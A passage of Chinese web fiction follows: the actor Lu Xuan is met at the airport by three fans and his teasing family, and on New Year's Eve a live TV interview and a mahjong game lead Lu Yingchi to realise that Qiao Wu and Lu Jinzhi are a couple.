这边鸡飞狗跳好一阵子,才终于等到陆宣走出来。 然后陆柠和陆应池齐刷刷地沉默了。 “其实……”陆柠犹豫了一下,“我不站在巨人的肩膀上也行。” 因为陆宣实在是很好认。 在人潮里,只有他一个人被八个保安团团簇拥着走出来,那阵仗比巨星还要大,拽得要死。 陆应池不可置信:“他是不是傻逼?粉丝还没保安多。” 好丢人,还是算了吧,出去等。 “拍下来吧。”一直兴致缺缺的陆尽之这时倒是有了几分兴致,“比春晚好看。” 得到指令的陆柠赶紧举起相机。 二叔的话就是圣旨!卖给别人不值钱,但卖给二叔就很值了! 双手插兜的陆宣在保安的簇拥下走出来,左右看了眼都没听到预想中的尖叫画面。 他左看右看愣是没看到谁举着自己名字或是照片。 难道不是在这儿接机? 他都走出来了! 就在这时,他听到了一声极其清晰的“陆宣”。 陆宣心下一定,酷酷回头。 然后看到有三个人好奇又茫然地站在保安的外围,手里拿着印着他名字还没手掌宽的小横幅。 一二三。 陆宣清清楚楚地数了三遍,的确是三个。 他墨镜下的表情裂开,僵在原地好几秒都没动。 “真的是你。”三个粉丝有点激动,可看到这么多保安却又不太敢上前。 这就是有钱人下飞机的流程吗? 好牛逼! 她们小心翼翼地说:“我们是你的粉丝。” 陆宣用尽了毕生的演技才稳住自己的表情,装作十分淡定地嗯了一声:“你们好,我是陆宣。” 然后对几个保安说:“你们先休息吧。” 保安表情十分复杂地看他一眼,不知道这少爷到底发什么疯。 三个粉丝用八个保安。 但人家有钱啊,拿钱就走。 等保安们走了以后,粉丝们才走上前。 她们还准备了自己的小礼物递到陆宣眼前:“这是我们给你准备的,听说你过完年又要进组了,山里虫子多,这些可以喷在身上防虫子,还有些肠胃药和养身茶包,你可以找医生看,绝对干净的,拍戏也要多注意身体啊。” 脚趾都在扣地有些崩溃的陆宣看到这些东西,有些没回过神。 除了乔梧,没有人在他的包里放过这些小东西。 放在以往是他多一眼都不会瞧的。 但现在眼前陌生的几个人是他的粉丝,是喜欢他的人,眼里的高兴和关切也没有任何作假,比起过去各种名利场里那些阿谀奉承的表情,更让人觉得心里妥帖。 他很难想象,自己和陌生人会有这种奇怪的连接。 见他没反应,三个粉丝都有些尴尬。 她们第一次接陆宣的机,不太清楚他线下到底如何,难道是这些太便宜了他不喜欢? “陆宣?” “我每天健身。”陆宣终于有了反应,语气紧绷,“身体很好。” 几个粉丝愣了一下,随即笑出声。 陆宣莫名。 笑什么,他身体真的很好,也很会保养的好吧。 但人家送出来的东西他也不好不收:“谢谢,我会用的。” 粉丝们又说:“这里面有红包,你不缺钱,我们也担心以后会被人拿出来说,所以没装钱,都是请来的平安符,今天除夕,希望你事业顺利平平安安。” 陆宣指尖轻轻一颤,抬起头看她们。 最近这半年,他总是能从身 边感受到很多好意。 唯一一次,是这种直白又赤裸的,也纯粹为了他好的。 乔梧说,每个人都不是她,但每个人都能是她。 他好像有点知道,这是什么感觉了。 他习惯了把脾气显露出来,也习惯在人前端出自己的样子,只有这个时候却找不到任何一面来面对眼前的几个人。 甚至有点嫌弃自己此时的语拙。 没等他再开口,粉丝们又试着问:“你可以把墨镜摘了让我们看看吗?” 陆宣腾出手摘下墨镜。 嗯,他的脸的确可以回馈粉丝。 然后他就看到几个粉丝露出有些遗憾又欣慰的表情。 ?怎么回事? 粉丝们像是在安慰他:“你……要是受了委屈可以在微博说,我们都会看的,不要总是哭啊,对眼睛不好。” 陆宣:“???” 谁哭了! 我靠我靠! 垃圾节目,毁我清白,什么都往外放! 他强调:“我没哭,我只是这种体质。” “嗯嗯嗯对对对。” 粉丝们哄着他,“你要回去过年是吧?跟乔小姐一起噢?” “嗯。” “红包也有乔小姐的份,请替我们转交给她。”粉丝们也要回家过年,也不想耽误陆宣回家,所以只是接机见一面而已,“我们就先回去啦,路上小心。” 陆宣捏着那些礼物,有点茫然,今天时间太短,他什么都没拿,就收到人家这么多东西。 他僵着身体说:“等下。” “怎么啦?” 陆宣:“抱一下吧。” 他的身体,现在不值五万块。 但值这些平安符和养身包。 真是奇怪的价值。 粉丝们一个个激动地排着队来跟他拥抱。 等到最后一个的时候,她们实在是没忍住:“崽崽加油,妈妈会一直支持你的!” 陆宣:“等会儿?” 可没等他说话,几个粉丝就一溜烟跑了。 跑!了! 靠! 什么玩意儿!崽崽?! 谁在外造他的谣!!! 陆宣站在原地咬牙切齿。 粉丝接机,他雇了一堆保安,最后来了的只有三个人,还把他当崽! 离谱! 今年的最后一天,他的脸全被丢完了! 他抱着一堆东西愤愤转身,然后看到不远处此时此刻最不愿意看到的四张脸。 陆柠在陆应池背上朝他招手:“哈喽巨星。” 神经病! 乔梧没跟他说这几个玩意儿也要来接机! 果然一家子都不是正常人! 陆宣安静了几秒,果断戴上墨镜绕过他们就走,连乔梧都不敢看了。 “等等啊巨星!”陆应池却不放过他,背着陆柠就几步追赶上前,“好大的阵仗,我们都不好意思上前了,怕被赶走。” 陆宣脸色铁青:“陆应池,你想单挑。” 陆应池摇头:“不不不,我打不过你的保安。” 陆柠捧着相机直乐呵:“果然二叔说得对,这比春晚好看。” 杀千刀的陆尽之! 陆宣满眼怒火地回头,却见陆尽之和乔梧并排走过来,两人贴得很紧。 他的怒意有一瞬间的凝滞。 “嘿,陆宣。”陆柠在旁边戳了他一下。 陆宣忍无可忍,扭过头:“干什么?!” “呐。” 陆柠放下相机夹在自己面前,然后在口袋里掏了掏,拿出一条横幅来。 一张常备在车里的A4纸,上面陆柠特色的字体写着歪歪扭扭的陆宣两个字,看得出来准备得十分敷衍。 陆柠掏完以后,又从陆应池帽子里掏出一张来,替陆应池打开。 这次是陆应池的字,也写着陆宣,只是上面画了个狗头。 陆宣脑子有点木,眯着眼问:“什么意思?” “来接机啊。”陆柠说,“我们有四个人。” 其实是刚才在车上乔梧给陆宣经纪人打电话,听说来接机的只有三个人,所以乔梧临时在车上找的白纸给他们写的。 生怕他觉得人数不够,陆柠还指着狗头:“这个是二叔画的。” 陆宣:“……我谢谢他?” 已经走到他身后的陆尽之淡淡道:“不客气。” “陆尽之!” 陆尽之也不气,他现在心情很好,毕竟提前看了场没有上升任何高度的春晚小品。 他含笑问:“保安多少钱?” 陆宣不明所以:“200一个。” 陆尽之朝陆柠看了一眼,后者心领神会。 “我们的接机业务只要150。”她掏出收款码,“四个人一共是600,您这边是微信还是支付宝?” 陆宣深吸几口气,才维持住没在机场崩掉自己的形象。 这家里到底有没有一个正常人! 所以像过去那样各过各的有什么不好,他到底为什么要特意飞两天回来过狗屁除夕! “好了。”乔梧见这群招猫逗狗的要把陆宣给逼得咬人了,上前拍了陆柠脑袋瓜一下,“收好。” 她回头看向陆宣,笑道:“陆老师,欢迎回家。” 第85章 第八十五章他和她在门后接吻 不远处,除夕夜还在加班的记者正在随机采访机场里的路人和游客。 作为海滨旅游城市,最近几年在这边旅游过年的不在少数,所以现在除夕夜机场采访已经成了惯例。 只是今年有些不太一样,因为记者看到了两个比较眼熟的人。 她并不是娱乐行业的记者,所以对陆宣没太多了解。 但对陆尽之和乔梧却十分熟悉。 熟悉新闻行业的人都知道,其实很多时候新闻上对于某些企业寥寥几句的提及实际上都是未来一段时间内经济发展的风向标。 所以作为陆氏的总裁,陆尽之这样的人是不可能隐于人后的,很多官方媒体对他都很熟悉也偶尔采访。 加上陆氏最近有很多大动作,连带乔梧在河前村那十几亿的扶贫基金都被反复提及。 能在这个时候遇到这两人,而且看起来还是私人行程,她今天的业务指标一定爆了! 大过年的,除夕夜。 这两人居然在一起过节? 记者压着激动的心情带着镜头走上前。 现在的新闻都是几个平台一起直播,尤其是春节档,哪怕很少人看这些,但人口基数在,加起来不是一个很小的数字。 早在镜头捕捉到人群里异常显眼的几人时,各大平台的直播间弹幕在那一瞬间突然暴涨。 【等会儿,我看到谁了?陆宣?】 【坏了眼睛好忙,不知道要先看谁了,斯哈斯哈。】 【精彩,陆尽之和陆宣,这是一家子吧?那乔梧是……】 【都说是‘青梅竹马’啦,在一起过个年有什么奇怪,狗头.jpg】 【笑死,我原来以为陆宣跟乔梧关系不错,怎么这画面看着,陆宣好像才是落单的那个。】 【原本以为陆宣的美貌无懈可击,但这一家子同框,忽然发现其实陆家这一家人都是基因霸主啊,怎么有人能把长得好看和有钱全都集齐一身的!可恶的女娲!】 【不懂就问,青梅竹马是可以一起过年的吗?】 【所以其他那两位就是陆家另外的成员了?很少看到露面欸。】 在流量蹭蹭蹭上涨的时候,记者已经来到了几人面前。 “几位好。”她主动道,“我们这边正在做春节特辑采访,不知道可以不可以采访一下你们。” 乔梧看到这些设备上的总台标志,停下了脚步。 出于私人,的确可以拒绝。 但不管是陆尽之还是陆宣,都算是公众人物,在这些事情上是不能拒绝的,他们代表了个人形象和集团形象。 其他人也很默契地停了下来。 眼神齐刷刷望向乔梧和陆尽之。 【看得出来这个家里谁做主了哈哈哈。】 【这么多年陆氏这些边边角角的新闻里说几兄弟感情不是很好啊,怎么不像?】 【哪有那么巧,在镜头前谁都要做做样子吧,看看港区赖家不就知道了,背地里还不知道打成什么样子。】 【别人我不知道,但陆宣和乔梧感情挺好是真的哈,点我就看陆宣争宠视频。】 陆应池和陆柠基本没公开出现在什么采访里过,所以他们对这种事情即便司空见惯也没太大兴趣参与,而且是这种比较官方全国人民都在看的直播,他们两嘴巴不把门,要是说出什么不好听的话来,回去不得被乔梧安排死? 所以他们很默契地都没开口。 至于陆宣,他以前只接受过娱乐媒体的采访,自从认真工作以后正经的采访还真没几次,也没太大经验,而且他刚丢完大人,谁知道有没有被什么角落的人拍到,这会儿还不想说话。 兜兜转转,哪怕平时再对陆尽之有什么意见,也不得不承认在这种时刻,只有陆尽之和乔梧才最适合出镜说话。 这是陆家人难得团结的时刻。 记者也顺着他们的目光,将视线投到陆尽之和乔梧身上。 紧接着看到这两人同一时刻点了下头。 注意到身边人的动作,陆尽之无声笑了下,以所有人都看得见的幅度往后退了半个肩膀的距离,目光往身边一侧。 “呜呜。” 陆柠立刻竖起小耳朵。 二叔这个时候叫呜呜干什么,呜呜今天在家啊。 可陆宣和陆应池却愣了下神,扭头看向乔梧。 后者自然明白陆尽之的意思,没有太扭捏地朝记者微微颔首:“你们好。” 原本记者以为这群人里说了算的应该是陆尽之,因为没有谁比他来头大了,哪怕乔小姐跟他们是朋友,主场应该也是陆尽之才对。 但这画面,好像不太对劲。 可记者还是很快反应过来,例行流程:“几位是一家人吗?” 如果是其他情况,乔梧就会说是了。 只不过陆宣和陆尽之身份比较敏感,有些话不能说得模棱两可,即便她是陆家的管家,这个时候也不能说出来。 因为对于很多好奇的人来说,会因为这个职业对陆家产生一些没有必要的荒唐揣测。 所以她很有分寸地浅笑含点头:“我们两家关系很好,今年跟几个长辈一起来度假过年。” “那几位今天过年有什么打算?” 乔梧温声说:“跟很多人一样,我们一起过来接上放假的朋友,再一起去给小朋友买些玩具,晚点回家跟长辈吃年夜饭,看看春晚看看烟花。” “有什么特别的期待吗?” 这次乔梧默了那么几秒,唇边笑意更深了些:“要说特别,可能是我们很多年没有像现在这样,好好坐在一起吃一顿年夜饭了。” 除了陆尽之和不懂事的陆柠以外。 陆宣和陆应池原本有些散漫的表情在这一刻都多了几分复杂。 这些日子以来很多细小的情感转变一直埋在心里他们一直都没去在意,可一个气球越来越大的同时也会越来越脆弱,只等到一个合适的契机,哪怕只是细微的绒毛,都能在瞬间把它戳破。 然后那些被忽视的东西就会在一瞬间爆涌出来,将毫无准备又措手不及的人吞没。 就像现在。 很简单的一句话,却让陆宣他们感觉整个人像是被人捏住脸强行让他们面对过去荒诞的时光,避无可避,只能艰难地在那些不堪的回忆夹缝中呼吸。 他们不得不去直面刻意被抛之脑后的现实,从中去找到自己,在细枝末节中成长起来。 每个人都很清楚,团圆这个词其实在陆家挺少见的。 自从母亲和大哥大嫂过世以后,其他人都不怎么提及了。 天灾人祸不可避免,他们也没真的要责怪谁,只是陆江这种独断专横的人总喜欢撞上枪口,以至于几个小辈总会无意识把这些怨怼和对父亲的不满发泄在他身上。 乔梧过去有句话说得对,如果不是陆江,他们不会去撬别人的保险柜。 因为他是父亲。 在他们还没长大的时间里,父亲这个词永远是一座山,他们潜意识把对未来的茫然和对现实的不满都加之在这座山上。 但是山太古板了,还不会说话。 渐渐的,他们越长越大,山也被压得越来越矮,终于有一天,小小的他们有了足够的力气和耐力爬上这座山。 然后发现其实这座山也就这样,不是很高,也不是很陡,所以他们肆无忌惮。 不得不说陆家流着同样的血,因此也有同样的缺点,他们不喜欢承认自己的弱点,也不喜欢低头。 以前有母亲,再不济有大哥大嫂。 后来有乔梧。 这些人都是海绵,把他们锋利的棱角软化后,让他们不会那么尖锐地碰撞。 但这些人一个又一个离开,在他们憧憬未来又对未来毫无办法的时候,把他们所有的路都给炸毁了,只留下白茫茫的一片。 所以在父亲和他人的影响下,还没有完整价值观的他们在山下分道扬镳,去找自己的路,每个人都跌跌撞撞,磕碰得浑身是伤,最后灰头土脸地爬上去。 在山顶上时,他们看到了当初一起出发的人。 但隔得太久了,久到他们都对彼此不熟悉,更不熟悉长大后的那个人经历了什么,变成了什么模样。 唯一的念头就是,我们是从一个地方出发的,那时候我们还说过话呢。 对待陌生的彼此,他们互不相干,一起在沉默的山顶蹦跶了很久。 而现在回过头,也才发现只有站在山上他们才能看到远方,看到他们一路长大过来的证据。 也明白脚下这座山只有他们几人能爬,只给他们爬。 可山还是不说话。 他们想回到过去,但又没有任何办法,只能这么僵持着。 的确,除了乔梧,没有任何一个人会提起,其实他们有很多年都没有坐在一起吃过年夜饭,说说话了。 也是因为这样,所以他们才会嘴上说着烦,但最后却还是一起出现在这里,要去吃今晚的那一顿饭。 可这些年呢。 怎么会这样。 自从很多年前跟乔梧关系变得僵硬以后,陆宣很少再认真动过脑子。 可他最近总是会有些恍惚。 他在恍惚,为什么一起从山下出发,可最后到山顶的人却只有他们。 乔梧去哪了。 她好像一直在,但她又好像不在。 等他再反应过来时,她似乎又一直站在山顶,好像等了他们很久,所以他迫不及待地想要抓住她。 陆宣定定地看着那个人。 听她说:“期待就是,希望今晚的年夜饭会很好吃。” “对朋友和家人有什么祝福吗?” 乔梧没有多想,很轻地道:“希望我们都好。” 记着又把话筒 对准一直没说话的陆尽之,把这么大腕儿放在这儿不太好吧。 从刚才开始他的视线就一直落在乔梧身上,哪怕现在话筒到了自己面前,他也没有收敛目光。 在乔梧也跟着一起看过来时,他才笑了笑:“这样挺好。” 不用做别的,哪怕只是像今天这样。 他就觉得挺好的。 【不是,这眼神真的清白吗?】 【我一直以为乔梧跟陆宣是CP,没想到在陆尽之这里好像更不对劲。】 【我关注的是他们很多年前就是在一起吃年夜饭的,所以乔梧不仅跟陆宣是青梅竹马,跟其他人也是。】 【这两人要是没事儿,我倒立吃SHI。】 【宣啊,别发呆了,找点眼药水先保保眼睛吧,我觉得你可能以后会哭得更惨。】 因为是直播,所以镜头时间有限,哪怕再怎么想多采访也不能耽误其他流程,所以记者只简单说了几句就跟大家告别了。 乔梧和陆尽之倒是正常,结束后两人就先一步朝停车场走。 而陆宣还跟陆应池在原地没太回过神。 “走啦!”陆柠揪了揪陆应池的耳朵,很好奇地问,“咱们家以前怎么过年的啊?” 在她的印象里就没一起吃过年夜饭啊。 应该是她很小的时候了。 陆应池拍了她手一下,把她从自己背上放下来,轻轻皱眉:“就那样过。” 会有大哥给的压岁钱,但都不是缺钱的人,也对钱没什么概念,那红包里其实也装不了多少,几万块钱就是图个吉利。 所以当晚那些钱都会他们花得精光。 他会和陆宣把红包摆在一起,你一张我一张,全都塞给乔梧,让乔梧陪他们玩。 但是现在不会有压岁钱了。 而且还很穷。 陆应池回头看了陆宣一眼,谨慎地问:“你这次签合同拿了多少钱?” 陆宣:“……” 他那些复杂的情绪,头一次被陆应池这个傻逼问题打断。 也是第一次站在高纬度去俯视陆应池的智商。 “别总惦记给陆柠敲核桃。” 陆宣鄙视他,“给自己也多敲一敲。” 陆应池冷笑:“还得是巨星,说话就是有底气。” “你找骂是吧?” “还不走吗?”陆柠站在两人中间,“要追不上了。” 其余两人立刻抬头,乔梧和陆尽之已经并肩走得很远了。 陆宣拍了一下陆柠的脑袋:“你这相机里都拍到什么好东西了?” “倒也没有什么。”陆柠记得他说要多盯盯二叔的事,很诚实地说,“放心,他们都很正常,我们平常就是一起吃饭一起出去走走玩玩。” 陆宣:“?” 这踏马叫正常? 陆尽之是那种会牺牲自己休息时间出去走出去玩的人吗? 他懒得要死! 可当他来到停车场,看到陆尽之依旧坐在驾驶座,而乔梧坐在副驾驶时,世界观又再一次重组了。 陆尽之不是第一次亲自开车来接他了。 此人恐怖如斯。 相比之下,好像他出去玩就很正常了。 几人开车去买了烟花后才回酒店。 照顾到酒店员工,乔梧把年夜饭的时间提早了一点。 所以吃完饭后天还是亮的。 但毕竟是过节,哪怕不用提醒,吃完饭后也没人上楼,而是坐在楼下各干各的。 买来的烟花被陆柠和陆应池来来回回搬来搬去,就为了到晚上时能够方便第一时间冲出去放,一会儿觉得这里受潮一会儿觉得那里光照,在哪都不满意。 最终还是陆宣看不下去了,给两人按在门口:“再磨一下,引线都被你两磨没了。” 陆柠这才一步三回头地离开自己的烟花。 天怎么还不黑呢。 这边天黑得好晚啊。 来到沙发前,却看见爷爷和乔爷爷两人正襟危坐,好像腰背不好一样,表情很严肃。 新闻联播有什么好看的? 事实上是陆江和乔知义都有看新闻的习惯,所以也在家看到了春节特辑的直播。 原本两个孩子的事还没放到明面上来说,他们还能睁一只眼闭一只眼。 但这跟亲眼看到可不一样。 一时之间居然还不知道要怎么跟未来亲家好好相处。 陆江是觉得,不管怎么样态度一定要好一点,到嘴的鸭子不能飞了,不然到时候老二发起疯来没人按得住。 而乔知义是觉得,女儿既然跟二少爷是这种关系,那他自然不能像以前一样说什么是什么,一定要在陆江面前拿出几分魄力来,不能给女儿丢人。 所以两人什么话都没说,从早上到吃饭到现在,两人端端正正就这么较真着。 “爷爷,我给你们看一个更好看的。”陆柠抱着相机和电脑说,“巨星接机名场面,简直是锣鼓喧天鞭炮齐鸣,二叔认证过的,比春晚好看。” 看着撅着屁股操作的陆柠,陆宣就知道她要放什么屁了。 他眼皮一跳,上前踹了她一脚,拎着她的马尾把人揪起来:“今天是你过的最后一个年了吗?” 一大一小在前面闹腾,搞得乔知义和陆江都没那么僵硬了。 陆尽之不愿意看小学鸡互啄,对所谓的新闻也没太大兴趣。 其实过年也就那样,还不可以独处。 这是最大的弊端。 他不爽,别人也别想好过。 “陆柠。”陆尽之往桌上扔下一个鼓鼓的红包,那是他跟乔梧一起买来装的,“半个小时视频一个红包,自己来挣。” 陆宣:“???” 陆柠:“!!!” 电视机前的两人再次打了起来。 陆尽之懒洋洋地靠在乔梧身边,两人的身体似有若无地贴着。 扫到乔梧怀里抱了个抱枕,他的手就这么光明正大地伸进去,在抱枕下一点点找到那只手,在严丝合缝地覆盖在她的手背上。 乔梧抬眸看他一眼,借着抱枕地遮挡,拍了他的手背一下。 陆尽之笑了下,手腕翻转过来,借机与她十指紧扣。 微微偏过头在她耳边道:“今天的报酬。” 现在压根没有谁的注意力在这儿,乔梧便随着他去了。 而把自己买来的大件烟花安排好的陆应池才走进门,就看到这两人耳语的样子。 他停下脚步,之前一直觉得莫名的感觉又涌了上来。 乔梧一直在提醒他男女有别,可陆尽之跟她的距离完全超过了男女之间的正常距离。 盯着那个画面看了很久,直到手机响起来他才蹙眉收回视线。 群里正在视频。 大家都在打趣:“陆应池,没想到过年我都能在电视里看到你,我跟亲戚们说这是我朋友,你知道多牛逼吗!” 陆应池有些心不在焉:“什么电视?” “新闻啊,你今天跟你家里人上新闻直播了你不知道?”叶梁说,“你哥长得真的好帅,能不能要个签名,到时候我还可以装逼!” 陆应池轻嗤,说起机场的事:“他已经够装逼了。” 但他没想到同学们听说后都笑个不停,还觉得陆宣可爱。 神经,眼睛出毛病了吧。 “二哥也很帅啊,可以要他的签名吗?” “不行。”陆应池说,“他只在文件上签名。” 陆尽之的签名是各种意义上的贵。 大家便放弃了,费景明叹道:“该说不说,那天跟你二哥就简单打了个照面,当哥的还是有当哥的资本,你哥那气场的确谁都盖不住,也就只有乔梧姐了。” 陆应池心想,其实陆尽之装逼的范比陆宣差不到哪里去。 而且有过之而无不及。 主要陆尽之的身份摆在那,他要是没有点资本气场,那就压不住人了。 他一边听着大家胡咧咧,一边打开群聊消息,想看看自己上电视是个什么样子的。 朋友们把他们在新闻里的出场都截图下来了,还有特意录屏的。 时长很短,也就几句话的时间。 截图里包括那些弹幕。 陆应池翻了会儿,看到都是些感慨陆家基因的,眉梢扬着,有那么几分自豪感了。 的确,陆家人长得都有他的风范。 而且不只是陆家啊,乔家的基因也很不错。 要是他当时在,一定会多在上面加一点自己的弹幕。 其他人哪有乔梧好看。 他心情不错地翻着,直到看到一张乔梧和陆尽之同屏的图片。 就跟他最近的感知一样,这两人的距离好像一直那样,看着正常,其实跟其他人对比起来就很近很近。 而让他真正停下来的,是弹幕上那句话。 这眼神真的清白吗? 一直以来那种怪异感,如果换了一种解释,陆应池就醍醐灌顶了。 他站直了身体,手却忍不住发抖。 那天听费景明说有人追乔梧时他很愤怒,恨不得当场就去把那个人撕碎;听到沈延说喜欢乔梧的时候也差点跳起来跟人打一架。 可如果对方是陆尽之,那该怎么办? 乔梧显然从来没提过 沈延的名字,更没有把他放在眼里,那天沈延来吃饭她更是没有出面。 可陆尽之来了。 不仅来了,还是提前过来,跟乔梧在外面待了一天。 乔梧当初说,有那么一个人追她。 如果不是没有任何机会的沈延,能让她注意到的人……会是谁。 陆应池不知道自己是怎么点开那段录屏的,镜头只要是落在陆尽之身上,他的目光从来没有偏移过乔梧。 那是他从来不会用来看其他人的眼神。 比当初的陈彩文都要赤裸。 一个清晰的念头浮现在脑海里,让陆应池觉得荒唐,可当所有的可能性摆在眼前,他却没有办法忽略。 怎么能是陆尽之。 如果是其他人,他都能冲过去说你配不上乔梧,让那人滚。 可那是陆尽之。 再怎么自负,陆应池也从来没有立场去否认陆尽之的能力。 他抬起头看向沙发,此时的两人依旧坐在一起,还是那个距离,可陆应池清楚地知道,乔梧不会放任其他人跟她这么近。 正在通话的视频里,其他人发现了他的不对劲:“你什么表情,你怎么了?” 陆应池喉间涩得发疼,一个字也说不出来,脑袋也是空白的。 他不知道怎么回应,几近狼狈地挂断了视频。 电视机前的闹剧已经告一段落,虽然陆江还是没看到那段视频,但他觉得这场面已经挺精彩了。 至少他很欣慰。 不过他没有准备红包,老二这次倒是想得挺周到的。 再一转头,老二坐在乔梧身边,就差没光明正大贴上去了。 成何体统! “咳咳咳!”陆江很重地咳了几声,“都闲着没事就来陪我打打麻将。” “小梧。”他着重喊了一声,“你来。” 乔梧立刻将自己的手抽出来站起身。 陆江亲眼看到他那个不成器的儿子一点都不掩饰脸上的不耐。 一点城府都没有!你怎么不写个大字报贴到人家外面去!全国人民都看见了! “站在那干什么?”看到窗前有些魂不守舍的陆应池,陆江招呼了一声,“过来。” 他没准备红包,打麻将输点钱给几个小孩就算压岁钱了吧。 乔知义不会打,就坐在陆江身边。 “跟二叔打麻将啊。”陆柠不懂但很清醒,“大过年的何必呢。” 谁跟二叔那种脑子打麻将能赢? 陆江:“他不算在内。” 陆尽之也没想打,他没什么所谓地勾来一张椅子,不轻不重地落在乔梧身边,很自然地坐下。 见状站在对面的陆应池眼皮一跳,重重地放下凳子,动静大得所有人都看过来。 “没关系。”陆柠以为他有落差,主动道,“我有压岁钱,我给你投资。” 陆应池罕见地没有回答她,而是直勾勾地盯着陆尽之:“陆尽之。” 陆尽之淡淡抬眼。 “我不会打。”陆应池说,“你教我。” 陆尽之动都没动,只是脚尖踢了一下陆宣的椅子:“跟他换。” 陆宣莫名。 坐哪不一样?还讲风水? 他还没说话,倒是陆应池发作了,他固执地说:“我就要坐这儿!” 闻言陆尽之视线在他身上多停了几秒,忽而往后一靠,一副不打算动弹的样子,慢条斯理道:“那就坐那输吧。” 换言之,他也不会过去的。 陆宣夹在中间,莫名觉得气氛有点剑拔弩张。 本来乔梧并不觉得有什么,因为她跟陆应池说过可以适当的倚靠一下家里人。 可在陆应池强调座位的时候她却隐隐有些明白了。 她抬头看了陆应池一会儿,见他视线一直都死死地钉在了陆尽之身上。 过年随便打个麻将而已,陆应池并不是很在意钱的人,否则也不会拿爱车跟陆尽之只换了五百二十万。 哪怕今天输一晚上,他也不会觉得有什么,对外人他都能那么大方,对家人自然也不会在意那些输赢。 更不会那么执着于一个位置。 相反,按照他的常规思路,应该是能远离陆尽之就远离,离得近反而还会觉得晦气。 所以他的目的可能只是…想看陆尽之会不会离开她。 她能想到的,陆尽之怎么会想不到呢。 所以陆尽之很干脆地用自己的行为给了陆应池答案。 乔梧无声叹了口气,终究还是站起身来走到陆宣身后:“我跟你换。” 陆宣今天在意的点不一样,所以并没有觉得坐在哪里奇怪,输点钱也没什么,大不了就打五毛的。 所以他很爽快的换了位置。 乔梧坐下后,又看了眼身侧的陆尽之:“你过来。” 陆尽之抬眉笑了笑,这次十分好说话,从善如流坐到了她和陆应池中间。 看到这画面,陆应池还有什么不明白的。 所有的猜测在这一刻全都成了真,是陆尽之和乔梧亲口告诉他的,光明正大。 陆应池说不上现在是什么感觉。 觉得害怕生气,觉得恐慌,胸口被一块巨石压得窒息,还很无措茫然。 所以这种情况下他根本不知道要找谁,或是要说什么。 光是在这两人身边坐下就已经花光了他所有的力气,所有的动作全靠着本能。 陆尽之声音一如往常的平静,落在他耳边与他复杂纷乱的思绪截然相反:“二筒。” 陆应池在自己牌面找了三次,才找到二筒是什么。 一圈下来,的确是他的赢面最大。 看到落在自己面前的筹码,陆应池有些发愣地回头:“我赢?” 趁着洗牌的时间,陆尽之已经靠了回去,原本跟他还算近的距离此时又变成了跟乔梧很近。 陆应池看到陆尽之很自然地在整理乔梧的筹码,面对他的疑问,只是轻轻撩了下眼:“不是让教你?” 陆应池说不出话。 他以为任何情况下陆尽之都会让乔梧赢。 可下一秒,陆尽之将乔梧的那份筹码移到了他面前。 “压岁钱。”陆尽之说。 陆应池心脏很重地跳了一下。 用尽了他所有的力气。 他看着眼前的筹码,哪怕是再怎么迟钝,可一旦搭对了筋就什么都简单明了,他恨自己第一次那么清晰地理解了这句话里的意思。 作为桌上年龄最小的人,陆尽之说教他是真的教,也不会让他吃亏。 所以这份筹码也一样,是陆尽之和乔梧用不同的方式一起给他的压岁钱。 也是在告诉他,他是弟弟。 陆应池从小到大,哪怕是过去十多年没有收到压岁钱的时间,也从来没有一次像现在这样难耐。 坐在他对面的陆宣第一次没有跟他争钱,可他的压岁钱这次不是用来买乔梧的了。 而是……乔梧用来哄他的。 哪怕比小时候多了太多太多,却都不是他想要的。 为什么就不能再多等等他呢。 如果那个 人是陆尽之,他无可奈何,也毫无办法。 陆应池全程下来话少得让一向粗线条的陆宣和陆柠都发现了不对。 “天黑了。”陆柠走到他身边,“一会儿烟花秀就开始了,不然我们去放烟花吧?” 陆应池张了张嘴,却发现太久没说话导致他此时发声有些困难。 他拿过一边桌台上的酒,倒了一杯猛猛灌下,在放下酒瓶的时候,一个由于手抖不小心让酒瓶掉在了地上,暗红的液体随着玻璃一起炸开,溅到离得最近的陆尽之和乔梧身上。 在这一刻陆应池心里的防线骤然断开,他压着急躁的不安猛地站起来:“不打了。” 他看向陆柠:“不是要放烟花?去把烟花抱出来。” 陆柠呆呆点头:“噢。” 两人走出去以后,坐在椅子上没动的陆尽之才喊了声:“陆宣。” 还在状况外的陆宣:“啊?” 陆尽之不知道从哪又变出来一个红包扔到他面前去,站起身说:“收拾了。” “……” 陆宣目光诡异地看着自己面前的红包。 靠,陆尽之是不是被人夺舍了。 这是在给他发压岁钱的意思? 除夕当晚他们这里没让人再过来加班,所以陆尽之理所当然地用一份压岁钱让陆宣收拾残局。 反正当初他很乐意给乔梧洗杯子。 陆尽之将乔梧从椅子上拉起来:“换身衣服。” 乔梧把视线从陆应池那边收回来:“嗯。” 走出酒店的陆应池没有在他们那片范围里活动,而是走远来到远一点的沙滩上,这样才能远离那两人让他能够清醒一点,不远处是正在准备放烟花的酒店员工。 为了让效果更好,今天沙滩这边都没有再开灯。 黑暗放大了他的情绪,他蹲下来将自己的脑袋埋在手臂里,低低地吼了一声。 “陆应池?” 听到身后传来的声音,陆应池动作一顿。 他回头,借着后面房子的光看清陈彩文和她身边的年轻男人。 “真的是你。”陈彩文走上前,“我们来看烟花,怎么只有你一个人在这儿?” 陆应池站起来:“他们一会儿出来。” 他定了一下神才往黑暗外面走出来了一点,勉强能看清跟陈彩文来的这个人的模样。 不是他真的自恋,而是这个人比起他来说,的确有些普通。 注意到他的视线,年轻男人礼貌伸出手:“你好,我叫马尧。” 陈彩文主动介绍:“这是我男朋友。” “你好。”陆应池跟他握了一下,“陆应池。” 他没心情在这边看小情侣赏烟花,也不想当电灯泡,所以打算走了。 “今天谢谢你。”马尧拿出手机说,“文文跟我说了是你的原因我们才能进来的,方便加个联系方式吗,我把酒店差价补给你。” “不用。”陆应池没什么情绪道,“想转就直接转给她。” 陈彩文也轻轻拉了一下男朋友的衣服。 马尧又递过来一个袋子:“这是我们给你准备的一点礼物,新年好啊。” 这次陆应池倒是接过去了。 他心想,这人虽然长得没他好,但脾气还行。 袋子里看出来是精心准备过的一些小东西,被包装得很好。 “也有乔姐姐和小陆柠的份。”陈彩文补充,“一会儿麻烦你交给她们一下。” 听到乔梧的名字,陆应池才缓解了一部分的心情顿时又变得一团乱麻。 他抬头盯着陈彩文的脸看了很久,都没有在她脸上看到以前那种对自己的一点点特殊情感。 看来是真的不在意了。 “还没开始。”陆应池拎着袋子,情绪莫名地说,“借几分钟单独聊几句?” 陈彩文欣然点头:“可以啊。” 她回头跟男朋友说:“你去那边椅子等我一下。” 马尧:“行。” 等人走了,陈彩文才问:“你看起来心情不好,怎么了?” 这些话有些难以说出口。 